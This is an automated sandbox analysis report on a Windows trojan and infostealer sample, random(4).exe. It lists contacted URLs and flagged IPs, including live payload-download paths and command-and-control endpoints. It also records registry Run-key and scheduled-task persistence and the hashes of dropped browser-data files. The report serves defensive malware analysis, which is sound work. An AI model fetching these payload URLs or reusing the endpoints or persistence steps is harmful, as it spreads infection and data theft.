http://185.215.113.16/F	random(4).exe, 00000000.00000003.1968225491.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968557997.0000000000D51000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.16/steam/random.exeu	random(4).exe, 00000000.00000003.1968225491.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968225491.0000000000D42000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968557997.0000000000D51000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206ones	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.00000000007D5000.00000040.00000001.01000000.00000006.sdmp	false
http://x1.c.lencr.org/0	random(4).exe, 00000000.00000003.1774866430.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2254721106.0000000003C0A000.00000004.00000800.00020000.00000000.sdmp	false
http://x1.i.lencr.org/0	random(4).exe, 00000000.00000003.1774866430.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2254721106.0000000003C0A000.00000004.00000800.00020000.00000000.sdmp	false
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	random(4).exe, 00000000.00000003.1752021463.00000000053C6000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221672138.0000000003C02000.00000004.00000800.00020000.00000000.sdmp	false
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	random(4).exe, 00000000.00000003.1751351396.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751295730.00000000053DF000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751424290.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2140091027.0000000000D26000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221121277.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221017409.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/68b591d6548ec281/mozglue.dll	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CA9000.00000004.00000020.00020000.00000000.sdmp	false
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.00000000007D5000.00000040.00000001.01000000.00000006.sdmp	false
http://sourceforge.net/projects/s-zipsfxbuilder/)	55c1ca23f1.exe, 00000012.00000003.2311940788.0000000002403000.00000004.00000020.00020000.00000000.sdmp	false
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.00000000007D5000.00000040.00000001.01000000.00000006.sdmp	false
https://support.mozilla.org/products/firefoxgro.all	9ce3a8a3dc.exe, 0000000C.00000003.2255922169.0000000003CF4000.00000004.00000800.00020000.00000000.sdmp	false
https://fancywaxxers.shop:443/api	random(4).exe, 00000000.00000003.1845169784.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1845653640.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1791761313.0000000000D62000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1791557022.0000000000D62000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1810775955.0000000000D62000.00000004.00000020.00020000.00000000.sdmp	false
http://www.sqlite.org/copyright.html.	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2339386118.00000000054F4000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2347623795.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false
https://fieldhitty.click/	943fedf78d.exe, 0000000D.00000003.4125929580.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, 943fedf78d.exe, 0000000D.00000003.4131889031.0000000001206000.00000004.00000020.00020000.00000000.sdmp	false
https://pancakedipyps.click/bm	9ce3a8a3dc.exe, 0000000C.00000003.2400004370.00000000015DC000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2445933284.00000000015DE000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2379447041.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2335777288.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2398825314.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2286847849.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2320718181.000000000158D000.00000004.00000020.00020000.00000000.sdmp	false
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	random(4).exe, 00000000.00000003.1776580455.000000000539D000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2343245349.000000000B522000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2256390472.000000000162E000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2256532484.000000000162F000.00000004.00000020.00020000.00000000.sdmp	false
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	random(4).exe, 00000000.00000003.1751351396.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751295730.00000000053DF000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751424290.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2140091027.0000000000D26000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221121277.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221017409.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	false
https://fieldhitty.click/apid	943fedf78d.exe, 0000000D.00000003.4125929580.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, 943fedf78d.exe, 0000000D.00000003.4131889031.0000000001206000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/68b591d6548ec281/msvcp140.dll	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CA9000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.16/steam/random.exe	random(4).exe, 00000000.00000003.1968225491.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968225491.0000000000D42000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968557997.0000000000D51000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/68b591d6548ec281/softokn3.dllK	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000CA9000.00000004.00000020.00020000.00000000.sdmp	false
https://pancakedipyps.click/buiXoGK9	9ce3a8a3dc.exe, 0000000C.00000003.2398825314.00000000015EF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2400004370.00000000015EF000.00000004.00000020.00020000.00000000.sdmp	false
https://pancakedipyps.click/apiuo	9ce3a8a3dc.exe, 0000000C.00000003.2398825314.00000000015EF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2400004370.00000000015EF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2447560681.00000000015EF000.00000004.00000020.00020000.00000000.sdmp	false
https://pancakedipyps.click/bu	9ce3a8a3dc.exe, 0000000C.00000003.2398825314.00000000015EF000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2400004370.00000000015EF000.00000004.00000020.00020000.00000000.sdmp	false
https://ac.ecosia.org/autocomplete?q=	random(4).exe, 00000000.00000003.1751351396.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751295730.00000000053DF000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1751424290.00000000053DC000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000003.2140091027.0000000000D26000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221121277.0000000003C19000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2221017409.0000000003C1B000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.16/	random(4).exe, 00000000.00000003.1968225491.0000000000D50000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1968557997.0000000000D51000.00000004.00000020.00020000.00000000.sdmp	false
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	random(4).exe, 00000000.00000003.1776580455.000000000539D000.00000004.00000800.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2343245349.000000000B522000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000D09000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2256390472.000000000162E000.00000004.00000020.00020000.00000000.sdmp	false
http://crt.rootca1.amazontrust.com/rootca1.cer0?	random(4).exe, 00000000.00000003.1774866430.00000000053C9000.00000004.00000800.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2254721106.0000000003C0A000.00000004.00000800.00020000.00000000.sdmp	false
https://pancakedipyps.click/laiKoJ	9ce3a8a3dc.exe, 0000000C.00000003.2400004370.00000000015DC000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000002.2445933284.00000000015DE000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2379447041.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2335777288.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2398825314.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2286847849.000000000158D000.00000004.00000020.00020000.00000000.sdmp, 9ce3a8a3dc.exe, 0000000C.00000003.2320718181.000000000158D000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2327588011.0000000000C4E000.00000004.00000020.00020000.00000000.sdmp, NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.00000000007D5000.00000040.00000001.01000000.00000006.sdmp	true
https://fancywaxxers.shop/api1	random(4).exe, 00000000.00000003.1750674299.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpion:	NU4SX64NXMV3YXYV8G3PIA0S0.exe, 00000004.00000002.2313455015.00000000007D5000.00000040.00000001.01000000.00000006.sdmp	false
https://fancywaxxers.shop/	random(4).exe, 00000000.00000003.1968762153.0000000000D61000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1750674299.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1774346163.0000000005391000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1845570152.0000000000D62000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1763047280.0000000005396000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1763089582.000000000539A000.00000004.00000800.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1750659620.0000000000D43000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1791619976.0000000000CEA000.00000004.00000020.00020000.00000000.sdmp, random(4).exe, 00000000.00000003.1787935893.0000000005391000.00000004.00000800.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.48.1	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.186.35	unknown	United States	15169	GOOGLEUS	false
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
172.217.18.14	unknown	United States	15169	GOOGLEUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
64.233.167.84	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.174	unknown	United States	15169	GOOGLEUS	false
188.114.97.3	unknown	European Union	13335	CLOUDFLARENETUS	false
176.53.146.223	unknown	United Kingdom	35791	VANNINVENTURESGB	false
185.156.73.23	unknown	Russian Federation	48817	RELDAS-NETRU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.164	unknown	United States	15169	GOOGLEUS	false
142.250.186.110	unknown	United States	15169	GOOGLEUS	false
172.67.129.178	unknown	United States	13335	CLOUDFLARENETUS	false
172.217.16.195	unknown	United States	15169	GOOGLEUS	false
142.250.186.74	unknown	United States	15169	GOOGLEUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
34.197.122.172	unknown	United States	14618	AMAZON-AESUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583232
Start date and time:	2025-01-02 09:14:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 15m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	56
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	random(4).exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@99/227@0/22
EGA Information:	Successful, ratio: 75%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Execution Graph export aborted for target 9ce3a8a3dc.exe, PID 8044 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Skipping network analysis since amount of network traffic is too extensive

Simulations

Behavior and APIs

Time	Type	Description
03:15:05	API Interceptor	16x Sleep call for process: random(4).exe modified
03:15:40	API Interceptor	27589x Sleep call for process: skotes.exe modified
03:15:53	API Interceptor	8x Sleep call for process: 9ce3a8a3dc.exe modified
03:15:59	API Interceptor	15x Sleep call for process: NU4SX64NXMV3YXYV8G3PIA0S0.exe modified
03:16:09	API Interceptor	4919x Sleep call for process: AutoIt3_x64.exe modified
03:17:57	API Interceptor	5999x Sleep call for process: d76dd796e0.exe modified
03:18:09	API Interceptor	608x Sleep call for process: e13ae12563.exe modified
03:18:21	API Interceptor	1395x Sleep call for process: 6319f0cc28.exe modified
03:18:33	API Interceptor	53x Sleep call for process: powershell.exe modified
03:19:02	API Interceptor	2x Sleep call for process: 943fedf78d.exe modified
08:15:37	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
08:18:04	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 6319f0cc28.exe C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe
08:18:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 334592f815.exe C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe
08:18:29	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run a48f6ed5ed.exe C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe
08:18:40	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 8a0ebcc2e0.exe C:\Users\user\AppData\Local\Temp\1028936001\8a0ebcc2e0.exe
08:18:52	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 6319f0cc28.exe C:\Users\user\AppData\Local\Temp\1028933001\6319f0cc28.exe
08:19:04	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 334592f815.exe C:\Users\user\AppData\Local\Temp\1028934001\334592f815.exe
08:19:17	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run a48f6ed5ed.exe C:\Users\user\AppData\Local\Temp\1028935001\a48f6ed5ed.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.48.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	twirpx.org/administrator/index.php
104.21.48.1	SN500, SN150 Spec.exe	Get hash	malicious	FormBook	Browse	www.antipromil.site/7ykh/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	inv#12180.exe	Get hash	malicious	FormBook	Browse	172.67.182.198
	dGhlYXB0Z3JvdXA=-free.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	dGhlYXB0Z3JvdXA=-free.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	176.113.115.170.ps1	Get hash	malicious	LummaC	Browse	172.67.157.254
	CRf9KBk4ra.exe	Get hash	malicious	DCRat	Browse	172.67.19.24
	http://www.rr8844.com	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://bitl.to/3Y0B	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.17.208.240
	ETVk1yP43q.exe	Get hash	malicious	AZORult	Browse	104.21.79.229
	AimStar.exe	Get hash	malicious	Blank Grabber	Browse	162.159.128.233
	7FEGBYFBHFBJH32.exe	Get hash	malicious	44Caliber Stealer, BlackGuard, Rags Stealer	Browse	188.114.96.3

Process:	C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CAKKJKKECFIDGDHIJEGD

Download File

Process:	C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\CBAEHCAE

Download File

Process:	C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCFHJKJJJECGDHJJDHDA

Download File

Process:	C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHIDAKFIJJKJJJKEBKJEHCBGDA

Download File

Process:	C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KECFCGHIDHCAKEBFCFHC

Download File

Process:	C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKECFIEBGCAKJKECGCFIIECGDB

Download File

Process:	C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
